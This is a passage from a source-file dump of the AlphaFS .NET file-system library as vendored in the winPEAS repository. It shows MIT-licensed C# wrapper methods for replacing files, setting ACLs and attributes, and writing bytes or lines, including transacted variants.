to ignore merge errors (such as attributes and access control lists (ACLs)) from the replaced file to the\n      ///   replacement file; otherwise, <c>false</c>.\n      /// </param>      \n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"dest\")]\n      [SecurityCritical]\n      public static void Replace(string sourceFileName, string destinationFileName, string destinationBackupFileName, bool ignoreMetadataErrors)\n      {\n         ReplaceCore(sourceFileName, destinationFileName, destinationBackupFileName, ignoreMetadataErrors, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Replaces the contents of a specified file with the contents of another file, deleting the original file, and creating a backup of the replaced file and optionally ignores merge errors.</summary>\n      /// <remarks>The Replace method replaces the contents of a specified file with the contents of another file. It also creates a backup of the file that was replaced.</remarks>\n      /// <remarks>\n      ///   If the <paramref name=\"sourceFileName\"/> and <paramref name=\"destinationFileName\"/> are on different volumes, this method will\n      ///   raise an exception. If the <paramref name=\"destinationBackupFileName\"/> is on a different volume from the source file, the backup\n      ///   file will be deleted.\n      /// </remarks>\n      /// <remarks>\n      ///   Pass null to the <paramref name=\"destinationBackupFileName\"/> parameter if you do not want to create a backup of the file being\n      ///   replaced.\n      /// </remarks>\n      /// <param name=\"sourceFileName\">The name of a file that replaces the file specified by <paramref name=\"destinationFileName\"/>.</param>\n      /// <param name=\"destinationFileName\">The name of the file being replaced.</param>\n      /// <param name=\"destinationBackupFileName\">The name of the backup file.</param>\n      /// <param name=\"ignoreMetadataErrors\">\n      ///   <c>true</c> to ignore merge errors (such as attributes and access control lists (ACLs)) from the replaced file to the\n      ///   replacement file; otherwise, <c>false</c>.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"dest\")]\n      [SecurityCritical]\n      public static void Replace(string sourceFileName, string destinationFileName, string destinationBackupFileName, bool ignoreMetadataErrors, PathFormat pathFormat)\n      {\n         ReplaceCore(sourceFileName, destinationFileName, destinationBackupFileName, ignoreMetadataErrors, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.SetAccessControl.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\nusing System.Security.AccessControl;\nusing Microsoft.Win32.SafeHandles;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Applies access control list (ACL) entries described by a <see cref=\"FileSecurity\"/> FileSecurity object to the specified file.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"path\">A file to add or remove access control list (ACL) entries from.</param>\n      /// <param name=\"fileSecurity\">A <see cref=\"FileSecurity\"/> object that describes an ACL entry to apply to the file described by the <paramref name=\"path\"/> parameter.</param>      \n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static void SetAccessControl(string path, FileSecurity fileSecurity)\n      {\n         SetAccessControlCore(path, null, fileSecurity, AccessControlSections.All, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>Applies access control list (ACL) entries described by a <see cref=\"DirectorySecurity\"/> object to the specified directory.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"path\">A directory to add or remove access control list (ACL) entries from.</param>\n      /// <param name=\"fileSecurity\">A <see cref=\"FileSecurity \"/> object that describes an ACL entry to apply to the directory described by the path parameter.</param>\n      /// <param name=\"includeSections\">One or more of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to set.</param>      \n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static void SetAccessControl(string path, FileSecurity fileSecurity, AccessControlSections includeSections)\n      {\n         SetAccessControlCore(path, null, fileSecurity, includeSections, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Applies access control list (ACL) entries described by a <see cref=\"FileSecurity\"/> FileSecurity object to the specified file.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"path\">A file to add or remove access control list (ACL) entries from.</param>\n      /// <param name=\"fileSecurity\">A <see cref=\"FileSecurity\"/> object that describes an ACL entry to apply to the file described by the <paramref name=\"path\"/> parameter.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static void SetAccessControl(string path, FileSecurity fileSecurity, PathFormat pathFormat)\n      {\n         SetAccessControlCore(path, null, fileSecurity, AccessControlSections.All, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Applies access control list (ACL) entries described by a <see cref=\"DirectorySecurity\"/> object to the specified directory.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"path\">A directory to add or remove access control list (ACL) entries from.</param>\n      /// <param name=\"fileSecurity\">A <see cref=\"FileSecurity \"/> object that describes an ACL entry to apply to the directory described by the path parameter.</param>\n      /// <param name=\"includeSections\">One or more of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to set.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static void SetAccessControl(string path, FileSecurity fileSecurity, AccessControlSections includeSections, PathFormat pathFormat)\n      {\n         SetAccessControlCore(path, null, fileSecurity, includeSections, pathFormat);\n      }\n\n\n      /// <summary>Applies access control list (ACL) entries described by a <see cref=\"FileSecurity\"/> FileSecurity object to the specified file.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"handle\">A <see cref=\"SafeFileHandle\"/> to a file to add or remove access control list (ACL) entries from.</param>\n      /// <param name=\"fileSecurity\">A <see cref=\"FileSecurity\"/> object that describes an ACL entry to apply to the file described by the <paramref name=\"handle\"/> parameter.</param>      \n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static void SetAccessControl(SafeFileHandle handle, FileSecurity fileSecurity)\n      {\n         SetAccessControlCore(null, handle, fileSecurity, AccessControlSections.All, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Applies access control list (ACL) entries described by a <see cref=\"FileSecurity\"/> FileSecurity object to the specified file.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"handle\">A <see cref=\"SafeFileHandle\"/> to a file to add or remove access control list (ACL) entries from.</param>\n      /// <param name=\"fileSecurity\">A <see cref=\"FileSecurity\"/> object that describes an ACL entry to apply to the file described by the <paramref name=\"handle\"/> parameter.</param>      \n      /// <param name=\"includeSections\">One or more of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to set.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static void SetAccessControl(SafeFileHandle handle, FileSecurity fileSecurity, AccessControlSections includeSections)\n      {\n         SetAccessControlCore(null, handle, fileSecurity, includeSections, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.SetAttributes.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Sets the specified <see cref=\"FileAttributes\"/> of the file or directory on the specified path.</summary>\n      /// <remarks>\n      ///   Certain file attributes, such as <see cref=\"FileAttributes.Hidden\"/> and <see cref=\"FileAttributes.ReadOnly\"/>, can be combined.\n      ///   Other attributes, such as <see cref=\"FileAttributes.Normal\"/>, must be used alone.\n      /// </remarks>\n      /// <remarks>\n      ///   It is not possible to change the <see cref=\"FileAttributes.Compressed\"/> status of a File object using this method.\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\">path is empty, contains only white spaces, contains invalid characters, or the file attribute is invalid.</exception>\n      /// <exception cref=\"DirectoryNotFoundException\">The specified path is invalid, (for example, it is on an unmapped drive).</exception>\n      /// <exception cref=\"FileNotFoundException\">The file cannot be found.</exception>\n      /// <exception cref=\"NotSupportedException\">path is in an invalid format.</exception>\n      /// <exception cref=\"UnauthorizedAccessException\">path specified a file that is read-only. -or- This operation is not supported on the current platform. -or- path specified a directory. -or- The caller does not have the required permission.</exception>\n      /// <param name=\"path\">The path to the file or directory.</param>\n      /// <param name=\"fileAttributes\">A bitwise combination of the enumeration values.</param>\n      /// <overloads>Sets the specified <see cref=\"FileAttributes\"/> of the file or directory on the specified path.</overloads>\n      [SecurityCritical]\n      public static void SetAttributes(string path, FileAttributes fileAttributes)\n      {\n         SetAttributesCore(null, false, path, fileAttributes, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Sets the specified <see cref=\"FileAttributes\"/> of the file or directory on the specified path.</summary>\n      /// <remarks>\n      ///   Certain file attributes, such as <see cref=\"FileAttributes.Hidden\"/> and <see cref=\"FileAttributes.ReadOnly\"/>, can be combined.\n      ///   Other attributes, such as <see cref=\"FileAttributes.Normal\"/>, must be used alone.\n      /// </remarks>\n      /// <remarks>\n      ///   It is not possible to change the <see cref=\"FileAttributes.Compressed\"/> status of a File object using this method.\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\">path is empty, contains only white spaces, contains invalid characters, or the file attribute is invalid.</exception>\n      /// <exception cref=\"DirectoryNotFoundException\">The specified path is invalid, (for example, it is on an unmapped drive).</exception>\n      /// <exception cref=\"FileNotFoundException\">The file cannot be found.</exception>\n      /// <exception cref=\"NotSupportedException\">path is in an invalid format.</exception>\n      /// <exception cref=\"UnauthorizedAccessException\">path specified a file that is read-only. -or- This operation is not supported on the current platform. -or- path specified a directory. -or- The caller does not have the required permission.</exception>\n      /// <param name=\"path\">The path to the file or directory.</param>\n      /// <param name=\"fileAttributes\">A bitwise combination of the enumeration values.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetAttributes(string path, FileAttributes fileAttributes, PathFormat pathFormat)\n      {\n         SetAttributesCore(null, false, path, fileAttributes, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.SetAttributesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Sets the specified <see cref=\"FileAttributes\"/> of the file on the specified path.</summary>\n      /// <remarks>\n      ///   Certain file attributes, such as <see cref=\"FileAttributes.Hidden\"/> and <see cref=\"FileAttributes.ReadOnly\"/>, can be combined.\n      ///   Other attributes, such as <see cref=\"FileAttributes.Normal\"/>, must be used alone.\n      /// </remarks>\n      /// <remarks>\n      ///   It is not possible to change the <see cref=\"FileAttributes.Compressed\"/> status of a File object using this method.\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\">path is empty, contains only white spaces, contains invalid characters, or the file attribute is invalid.</exception>\n      /// <exception cref=\"DirectoryNotFoundException\">The specified path is invalid, (for example, it is on an unmapped drive).</exception>\n      /// <exception cref=\"FileNotFoundException\">The file cannot be found.</exception>\n      /// <exception cref=\"NotSupportedException\">path is in an invalid format.</exception>\n      /// <exception cref=\"UnauthorizedAccessException\">path specified a file that is read-only. -or- This operation is not supported on the current platform. -or- path specified a directory. -or- The caller does not have the required permission.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"fileAttributes\">A bitwise combination of the enumeration values.</param>      \n      [SecurityCritical]\n      public static void SetAttributesTransacted(KernelTransaction transaction, string path, FileAttributes fileAttributes)\n      {\n         SetAttributesCore(transaction, false, path, fileAttributes, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the specified <see cref=\"FileAttributes\"/> of the file on the specified path.</summary>\n      /// <remarks>\n      ///   Certain file attributes, such as <see cref=\"FileAttributes.Hidden\"/> and <see cref=\"FileAttributes.ReadOnly\"/>, can be combined.\n      ///   Other attributes, such as <see cref=\"FileAttributes.Normal\"/>, must be used alone.\n      /// </remarks>\n      /// <remarks>\n      ///   It is not possible to change the <see cref=\"FileAttributes.Compressed\"/> status of a File object using this method.\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\">path is empty, contains only white spaces, contains invalid characters, or the file attribute is invalid.</exception>\n      /// <exception cref=\"DirectoryNotFoundException\">The specified path is invalid, (for example, it is on an unmapped drive).</exception>\n      /// <exception cref=\"FileNotFoundException\">The file cannot be found.</exception>\n      /// <exception cref=\"NotSupportedException\">path is in an invalid format.</exception>\n      /// <exception cref=\"UnauthorizedAccessException\">path specified a file that is read-only. -or- This operation is not supported on the current platform. -or- path specified a directory. -or- The caller does not have the required permission.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"fileAttributes\">A bitwise combination of the enumeration values.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetAttributesTransacted(KernelTransaction transaction, string path, FileAttributes fileAttributes, PathFormat pathFormat)\n      {\n         SetAttributesCore(transaction, false, path, fileAttributes, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ThrowIOExceptionIfFsoExist.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.IO;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Provides static methods for the creation, copying, deletion, moving, and opening of files, and aids in the creation of <see cref=\"System.IO.FileStream\"/> objects.\n   ///   <para>This class cannot be inherited.</para>\n   /// </summary>\n   [SuppressMessage(\"Microsoft.Maintainability\", \"CA1506:AvoidExcessiveClassCoupling\")]   \n   public static partial class File\n   {\n      internal static void ThrowIOExceptionIfFsoExist(KernelTransaction transaction, bool isFolder, string fsoPath, PathFormat pathFormat)\n      {\n         if (ExistsCore(transaction, isFolder, fsoPath, pathFormat))\n\n            throw new IOException(string.Format(CultureInfo.InvariantCulture, \"({0}) {1}\", Win32Errors.ERROR_ALREADY_EXISTS,\n\n               string.Format(CultureInfo.InvariantCulture, isFolder ? Resources.Target_File_Is_A_Directory : Resources.Target_Directory_Is_A_File, fsoPath)), (int) Win32Errors.ERROR_ALREADY_EXISTS);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.WriteAllBytes.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Creates a new file, writes the specified byte array to the file, and then closes the file. If the target file already exists, it is overwritten.</summary>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"bytes\">The bytes to write to the file.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1720:IdentifiersShouldNotContainTypeNames\", MessageId = \"bytes\")]\n      [SecurityCritical]\n      public static void WriteAllBytes(string path, byte[] bytes)\n      {\n         WriteAllBytesCore(null, path, bytes, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Creates a new file, writes the specified byte array to the file, and then closes the file. If the target file already exists, it is overwritten.</summary>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"bytes\">The bytes to write to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1720:IdentifiersShouldNotContainTypeNames\", MessageId = \"bytes\")]\n      [SecurityCritical]\n      public static void WriteAllBytes(string path, byte[] bytes, PathFormat pathFormat)\n      {\n         WriteAllBytesCore(null, path, bytes, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.WriteAllBytesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Creates a new file, writes the specified byte array to the file, and then closes the file. If the target file already exists, it is overwritten.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"bytes\">The bytes to write to the file.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1720:IdentifiersShouldNotContainTypeNames\", MessageId = \"bytes\")]\n      [SecurityCritical]\n      public static void WriteAllBytesTransacted(KernelTransaction transaction, string path, byte[] bytes)\n      {\n         WriteAllBytesCore(transaction, path, bytes, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new file, writes the specified byte array to the file, and then closes the file. If the target file already exists, it is overwritten.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"bytes\">The bytes to write to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1720:IdentifiersShouldNotContainTypeNames\", MessageId = \"bytes\")]\n      [SecurityCritical]\n      public static void WriteAllBytesTransacted(KernelTransaction transaction, string path, byte[] bytes, PathFormat pathFormat)\n      {\n         WriteAllBytesCore(transaction, path, bytes, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.WriteAllLines.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Creates a new file, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <remarks>The default behavior of the method is to write out data by using UTF-8 encoding without a byte order mark (BOM).</remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The lines to write to the file.</param>\n      [SecurityCritical]\n      public static void WriteAllLines(string path, IEnumerable<string> contents)\n      {\n         WriteAppendAllLinesCore(null, path, contents, new UTF8Encoding(false, true), false, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The lines to write to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      [SecurityCritical]\n      public static void WriteAllLines(string path, IEnumerable<string> contents, Encoding encoding)\n      {\n         WriteAppendAllLinesCore(null, path, contents, encoding, false, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string array to write to the file.</param>\n      [SecurityCritical]\n      public static void WriteAllLines(string path, string[] contents)\n      {\n         WriteAppendAllLinesCore(null, path, contents, new UTF8Encoding(false, true), false, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file.</summary>\n      /// 